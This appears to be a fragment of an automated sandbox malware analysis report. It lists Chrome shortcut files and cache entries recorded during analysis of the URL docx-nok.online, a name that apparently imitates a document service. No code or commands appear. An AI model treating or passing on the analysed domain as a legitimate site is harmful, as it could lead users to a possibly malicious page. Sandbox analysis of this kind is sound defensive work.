C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Chrome Cache Entry: 71

Chrome Cache Entry: 72

Chrome Cache Entry: 73

Chrome Cache Entry: 74

Chrome Cache Entry: 75

Chrome Cache Entry: 76

Chrome Cache Entry: 77

Chrome Cache Entry: 78

Chrome Cache Entry: 79

Chrome Cache Entry: 80

Chrome Cache Entry: 81

Chrome Cache Entry: 82

Chrome Cache Entry: 83

Chrome Cache Entry: 84

Chrome Cache Entry: 85

Chrome Cache Entry: 86

Chrome Cache Entry: 87

Chrome Cache Entry: 88

Chrome Cache Entry: 89

Windows Analysis Report
https://docx-nok.online/